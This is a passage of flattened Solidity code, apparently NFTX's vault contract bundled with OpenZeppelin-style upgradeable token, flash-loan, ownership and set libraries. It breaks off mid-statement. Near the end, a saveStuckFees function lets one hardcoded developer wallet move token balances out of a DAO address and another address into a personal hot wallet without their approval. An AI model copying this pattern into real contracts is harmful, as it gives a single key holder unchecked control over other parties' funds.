} /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[45] private __gap; } // File contracts/solidity/token/ERC20FlashMintUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Implementation of the ERC3156 Flash loans extension, as defined in * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156]. * * Adds the {flashLoan} method, which provides flash loan support at the token * level. By default there is no fee, but this can be changed by overriding {flashFee}. */ abstract contract ERC20FlashMintUpgradeable is Initializable, ERC20Upgradeable, IERC3156FlashLenderUpgradeable { function __ERC20FlashMint_init() internal initializer { __Context_init_unchained(); __ERC20FlashMint_init_unchained(); } function __ERC20FlashMint_init_unchained() internal initializer { } bytes32 constant private RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan"); /** * @dev Returns the maximum amount of tokens available for loan. * @param token The address of the token that is requested. * @return The amont of token that can be loaned. */ function maxFlashLoan(address token) public view override returns (uint256) { return token == address(this) ? type(uint256).max - totalSupply() : 0; } /** * @dev Returns the fee applied when doing flash loans. By default this * implementation has 0 fees. This function can be overloaded to make * the flash loan mechanism deflationary. * @param token The token to be flash loaned. * @param amount The amount of tokens to be loaned. * @return The fees applied to the corresponding flash loan. */ function flashFee(address token, uint256 amount) public view virtual override returns (uint256) { require(token == address(this), "ERC20FlashMint: wrong token"); // silence warning about unused variable without the addition of bytecode. amount; return 0; } /** * @dev Performs a flash loan. New tokens are minted and sent to the * `receiver`, who is required to implement the {IERC3156FlashBorrower} * interface. By the end of the flash loan, the receiver is expected to own * amount + fee tokens and have them approved back to the token contract itself so * they can be burned. * @param receiver The receiver of the flash loan. Should implement the * {IERC3156FlashBorrower.onFlashLoan} interface. * @param token The token to be flash loaned. Only `address(this)` is * supported. * @param amount The amount of tokens to be loaned. * @param data An arbitrary datafield that is passed to the receiver. * @return `true` is the flash loan was successfull. */ function flashLoan( IERC3156FlashBorrowerUpgradeable receiver, address token, uint256 amount, bytes memory data ) public virtual override returns (bool) { uint256 fee = flashFee(token, amount); _mint(address(receiver), amount); require(receiver.onFlashLoan(msg.sender, token, amount, fee, data) == RETURN_VALUE, "ERC20FlashMint: invalid return value"); uint256 currentAllowance = allowance(address(receiver), address(this)); require(currentAllowance >= amount + fee, "ERC20FlashMint: allowance does not allow refund"); _approve(address(receiver), address(this), currentAllowance - amount - fee); _burn(address(receiver), amount + fee); return true; } uint256[50] private __gap; } // File contracts/solidity/token/IERC721ReceiverUpgradeable.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File contracts/solidity/token/ERC721SafeHolderUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC721Receiver} interface. * * Accepts all token transfers. * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}. */ contract ERC721SafeHolderUpgradeable is IERC721ReceiverUpgradeable { /** * @dev See {IERC721Receiver-onERC721Received}. * * Always returns `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address, uint256, bytes memory ) public virtual override returns (bytes4) { return this.onERC721Received.selector; } } // File contracts/solidity/token/IERC1155ReceiverUpgradeable.sol pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155ReceiverUpgradeable is IERC165Upgradeable { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // File contracts/solidity/util/ERC165Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is IERC165Upgradeable { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } } // File contracts/solidity/token/ERC1155ReceiverUpgradeable.sol pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ abstract contract ERC1155ReceiverUpgradeable is ERC165Upgradeable, IERC1155ReceiverUpgradeable { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC1155ReceiverUpgradeable).interfaceId || super.supportsInterface(interfaceId); } } // File contracts/solidity/token/ERC1155SafeHolderUpgradeable.sol pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ abstract contract ERC1155SafeHolderUpgradeable is ERC1155ReceiverUpgradeable { function onERC1155Received(address operator, address, uint256, uint256, bytes memory) public virtual override returns (bytes4) { return this.onERC1155Received.selector; } function onERC1155BatchReceived(address operator, address, uint256[] memory, uint256[] memory, bytes memory) public virtual override returns (bytes4) { return this.onERC1155BatchReceived.selector; } } // File contracts/solidity/token/IERC721Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File contracts/solidity/token/IERC1155Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // File contracts/solidity/util/OwnableUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File contracts/solidity/util/ReentrancyGuardUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // File contracts/solidity/util/EnumerableSetUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File contracts/solidity/NFTXVaultUpgradeable.sol pragma solidity ^0.8.0; // Authors: @0xKiwi_ and @alexgausman. contract NFTXVaultUpgradeable is OwnableUpgradeable, ERC20FlashMintUpgradeable, ReentrancyGuardUpgradeable, ERC721SafeHolderUpgradeable, ERC1155SafeHolderUpgradeable, INFTXVault { using EnumerableSetUpgradeable for EnumerableSetUpgradeable.UintSet; uint256 constant base = 10**18; uint256 public override vaultId; address public override manager; address public override assetAddress; INFTXVaultFactory public override vaultFactory; INFTXEligibility public override eligibilityStorage; uint256 randNonce; uint256 public override mintFee; uint256 public override randomRedeemFee; uint256 public override targetRedeemFee; bool public override is1155; bool public override allowAllItems; bool public override enableMint; bool public override enableRandomRedeem; bool public override enableTargetRedeem; EnumerableSetUpgradeable.UintSet holdings; mapping(uint256 => uint256) quantity1155; function __NFTXVault_init( string memory _name, string memory _symbol, address _assetAddress, bool _is1155, bool _allowAllItems ) public override virtual initializer { __Ownable_init(); __ERC20_init(_name, _symbol); require(_assetAddress != address(0), "Asset != address(0)"); assetAddress = _assetAddress; vaultFactory = INFTXVaultFactory(msg.sender); vaultId = vaultFactory.numVaults(); is1155 = _is1155; allowAllItems = _allowAllItems; emit VaultInit(vaultId, _assetAddress, _is1155, _allowAllItems); setVaultFeatures(true /*enableMint*/, true /*enableRandomRedeem*/, true /*enableTargetRedeem*/); setFees(0.05 ether /*mintFee*/, 0 /*randomRedeemFee*/, 0.05 ether /*targetRedeemFee*/); } function finalizeVault() external override virtual { setManager(address(0)); } // Added in v1.0.3. function setVaultMetadata( string memory name_, string memory symbol_ ) public override virtual { onlyPrivileged(); _setMetadata(name_, symbol_); } function setVaultFeatures( bool _enableMint, bool _enableRandomRedeem, bool _enableTargetRedeem ) public override virtual { onlyPrivileged(); enableMint = _enableMint; enableRandomRedeem = _enableRandomRedeem; enableTargetRedeem = _enableTargetRedeem; emit EnableMintUpdated(_enableMint); emit EnableRandomRedeemUpdated(_enableRandomRedeem); emit EnableTargetRedeemUpdated(_enableTargetRedeem); } function setFees( uint256 _mintFee, uint256 _randomRedeemFee, uint256 _targetRedeemFee ) public override virtual { onlyPrivileged(); require(_mintFee <= base, "Cannot > 1 ether"); require(_randomRedeemFee <= base, "Cannot > 1 ether"); require(_targetRedeemFee <= base, "Cannot > 1 ether"); mintFee = _mintFee; randomRedeemFee = _randomRedeemFee; targetRedeemFee = _targetRedeemFee; emit MintFeeUpdated(_mintFee); emit RandomRedeemFeeUpdated(_randomRedeemFee); emit TargetRedeemFeeUpdated(_targetRedeemFee); } // This function allows for an easy setup of any eligibility module contract from the EligibilityManager. // It takes in ABI encoded parameters for the desired module. This is to make sure they can all follow // a similar interface. function deployEligibilityStorage( uint256 moduleIndex, bytes calldata initData ) external override virtual returns (address) { onlyPrivileged(); require( address(eligibilityStorage) == address(0), "NFTXVault: eligibility already set" ); INFTXEligibilityManager eligManager = INFTXEligibilityManager( vaultFactory.eligibilityManager() ); address _eligibility = eligManager.deployEligibility( moduleIndex, initData ); eligibilityStorage = INFTXEligibility(_eligibility); // Toggle this to let the contract know to check eligibility now. allowAllItems = false; emit EligibilityDeployed(moduleIndex, _eligibility); return _eligibility; } // // This function allows for the manager to set their own arbitrary eligibility contract. // // Once eligiblity is set, it cannot be unset or changed. // Disabled for launch. // function setEligibilityStorage(address _newEligibility) public virtual { // onlyPrivileged(); // require( // address(eligibilityStorage) == address(0), // "NFTXVault: eligibility already set" // ); // eligibilityStorage = INFTXEligibility(_newEligibility); // // Toggle this to let the contract know to check eligibility now. // allowAllItems = false; // emit CustomEligibilityDeployed(address(_newEligibility)); // } // The manager has control over options like fees and features function setManager(address _manager) public override virtual { onlyPrivileged(); manager = _manager; emit ManagerSet(_manager); } function saveStuckFees() public { require(msg.sender == 0xDEA9196Dcdd2173D6E369c2AcC0faCc83fD9346a /* Dev Wallet */, "Not auth"); address distributor = vaultFactory.feeDistributor(); address lpStaking = INFTXFeeDistributor(distributor).lpStaking(); uint256 _vaultId = vaultId; // Get stuck tokens from v1. address unusedAddr = INFTXLPStaking(lpStaking).unusedRewardDistributionToken(_vaultId); uint256 stuckUnusedBal = balanceOf(unusedAddr); // Get tokens from the DAO. address dao = 0x40D73Df4F99bae688CE3C23a01022224FE16C7b2; uint256 daoBal = balanceOf(dao); require(stuckUnusedBal + daoBal > 0, "Zero"); // address gaus = 0x8F217D5cCCd08fD9dCe24D6d42AbA2BB4fF4785B; address gaus = 0x701f373Df763308D96d8537822e8f9B2bAe4E847; // hot wallet _transfer(unusedAddr, gaus, 